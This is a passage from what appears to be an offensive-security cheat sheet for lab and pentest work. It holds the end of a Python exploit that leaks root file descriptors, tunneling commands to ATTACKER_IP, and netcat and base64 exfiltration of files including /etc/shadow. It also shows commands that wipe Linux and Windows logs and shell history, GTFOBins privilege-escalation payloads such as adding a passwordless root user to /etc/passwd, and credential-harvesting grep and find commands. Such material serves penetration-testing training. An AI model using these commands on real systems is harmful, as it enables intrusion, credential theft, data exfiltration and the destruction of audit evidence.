with open(LOG_PATH, "a") as f: f.write("TRIGGER_KEYWORD\n")
print("[*] Triggered")
def recv_fds(sock, msglen, maxfds=2):
fds = []
ancillary_size = socket.CMSG_LEN(struct.calcsize("i")) * maxfds
msg, ancdata, _, _ = sock.recvmsg(msglen, ancillary_size)
for level, type_, data in ancdata:
if level == socket.SOL_SOCKET and type_ == socket.SCM_RIGHTS:
n = len(data) // struct.calcsize("i")
fds.extend(struct.unpack("i"*n, data[:n*struct.calcsize("i")]))
return msg, fds
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(SOCKET_PATH)
threading.Thread(target=trigger).start()
msg, fds = recv_fds(sock, 1024, maxfds=2)
print(f"[+] {msg.decode(errors='ignore')}")
for i, fd in enumerate(fds):
try:
os.lseek(fd, 0, os.SEEK_SET)
print(f"[+] FD {i}:", os.read(fd, 4096).decode(errors='ignore'))
os.close(fd)
except Exception as e: print(f"[-] {e}")
sock.close()
PYEOF
python3 /tmp/fd_leak.py
The fd inherits root's open handle — you read the file even without filesystem permissions.
Pivoting & Tunneling
Post-ShellSSH / ligolo-ng / chisel
SSH local port forward
ssh -L 9229:127.0.0.1:9229 user@$TARGET -N
SSH dynamic SOCKS proxy
ssh -D 1080 user@$TARGET -N
# /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -p 80,443 INTERNAL_IP
ligolo-ng recommended for complex nets
# Attacker:
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# Target:
./ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert
# In ligolo UI:
session; start
sudo ip route add 10.10.10.0/24 dev ligolo
chisel — HTTP tunnel through firewall
# Attacker:
./chisel server -p 8080 --reverse
# Target:
./chisel client ATTACKER_IP:8080 R:1080:socks
Data Exfiltration
Post-Shell# HTTP:
python3 -m http.server 8000 # serve on target
wget http://TARGET_IP:8000/file # pull on attacker
# SCP:
scp user@TARGET_IP:/path/to/file /local/path
# Netcat:
nc -lvnp 4444 > /tmp/received # attacker
nc ATTACKER_IP 4444 < /path/to/file # target
# Base64 in-band:
base64 /etc/shadow # target: print
echo "BASE64DATA" | base64 -d # attacker: decode
Cleanup & OPSEC
Post-ShellHTB — skip cleanup. Enterprise — document all changes, restore, coordinate with client.
# Remove artifacts:
rm /tmp/exploit /tmp/linpeas.sh /tmp/shell* /tmp/pspy /tmp/fd_leak.py
# Clear history:
history -c && history -w; unset HISTFILE
# Linux logs (requires root):
echo "" > /var/log/auth.log; echo "" > /var/log/syslog
# Windows event logs:
wevtutil cl System; wevtutil cl Security; wevtutil cl Application
REFReference Tables
Common Ports
Reference| Port | Service | Notes / Quick Wins |
|---|---|---|
| 21 | FTP | Anonymous login; writable dirs; vsftpd backdoor (CVE-2011-2523) |
| 22 | SSH | Brute hydra; crack keys john; user enum timing attack |
| 23 | Telnet | Cleartext; default creds on IoT/embedded |
| 25/587 | SMTP | User enum VRFY/EXPN; open relay; phishing via swaks |
| 53 | DNS | Zone transfer AXFR; subdomain brute force |
| 80/443 | HTTP/S | Dir fuzz; VHost enum; CMS; check cert SANs for subdomains |
| 88 | Kerberos | AS-REP Roasting; Kerberoasting; username enum |
| 111 | RPCBind | Leads to NFS; rpcinfo -p |
| 135 | MSRPC | RPC endpoint mapper; AD enum via rpcclient |
| 139/445 | SMB | Share enum; EternalBlue; PtH; relay attacks; smbmap |
| 161/162 | SNMP | Community string brute; process/user disclosure |
| 389/636 | LDAP/S | AD enum; anonymous bind; BloodHound |
| 873 | rsync | List modules: rsync TARGET:: ; often unauthenticated |
| 1433 | MSSQL | sa bruteforce; xp_cmdshell; linked servers; UNC path injection |
| 2049 | NFS | showmount; mount; no_root_squash = plant SUID binary |
| 3306 | MySQL | Default creds; SELECT INTO OUTFILE; UDF injection |
| 3389 | RDP | BlueKeep (CVE-2019-0708); cred spray; xfreerdp PtH |
| 5432 | PostgreSQL | Default creds; COPY cmd injection; RCE |
| 5985/5986 | WinRM | evil-winrm with valid creds |
| 6379 | Redis | No auth default; RCE via config write to web root |
| 8080/8443 | HTTP-alt | Dev panels; Tomcat; Jenkins; admin interfaces |
| 8888 | Jupyter | Often no token; direct Python RCE |
| 9100 | PJL/JetDirect | Printer FS path traversal; arbitrary file read/write |
| 27017 | MongoDB | No auth default; full DB dump |
Wordlists
Reference| Use Case | Path |
|---|---|
| Passwords | /usr/share/wordlists/rockyou.txt |
| Dir (medium) | /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt |
| Dir (large) | /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt |
| Files | /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt |
| Parameters | /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt |
| Subdomains (5k) | /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt |
| Subdomains (20k) | /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt |
| Usernames | /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt |
| SNMP community | /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt |
| LFI payloads | /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt |
| API endpoints | /usr/share/seclists/Discovery/Web-Content/api/objects.txt |
| Hashcat rules | /usr/share/hashcat/rules/best64.rule |
| Default creds | /usr/share/seclists/Passwords/Default-Credentials/ |
GTFOBins Quick Reference
Reference| Binary | Method | Payload |
|---|---|---|
| bash | SUID | bash -p |
| find | SUID/sudo | find . -exec /bin/sh -p \; -quit |
| vim | SUID/sudo | vim -c ':!/bin/sh -p' |
| less/more | sudo | sudo less /etc/hosts → !sh |
| nano | sudo | ^R^X → reset; sh 1>&0 2>&0 |
| awk | sudo | sudo awk 'BEGIN {system("/bin/sh")}' |
| perl | sudo/SUID | sudo perl -e 'exec "/bin/sh";' |
| python3 | cap_setuid | python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
| ruby | sudo | sudo ruby -e 'exec "/bin/sh"' |
| tar | sudo/wildcard | sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
| curl | sudo file read | sudo curl file:///etc/shadow |
| tee | sudo file write | echo 'root2::0:0::/:/bin/bash' | sudo tee -a /etc/passwd |
| env | sudo | sudo env /bin/sh |
| node | sudo | sudo node -e 'require("child_process").spawn("/bin/sh",{stdio:[0,1,2]})' |
| socat | sudo | sudo socat stdin exec:/bin/sh |
| git | sudo | sudo git -p help config → !/bin/sh |
| cp | SUID | cp /bin/sh /tmp/sh; chmod +s /tmp/sh; /tmp/sh -p |
# Full reference: gtfobins.github.io
Grep for Credentials
Referencegeneric start here
grep -rnil "password\|secret\|passwd\|token\|api_key" /var/www /etc /opt 2>/dev/null
grep -rni "DB_PASS\|DB_PASSWORD\|mysqli\|PDO" /var/www 2>/dev/null
grep -rni "password" /var/www --include="*.php" --include="*.conf" --include="*.env" --include="*.yml" 2>/dev/null
SSH keys + shadow
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
cat /etc/shadow 2>/dev/null
find /home /root -name "authorized_keys" 2>/dev/null | xargs cat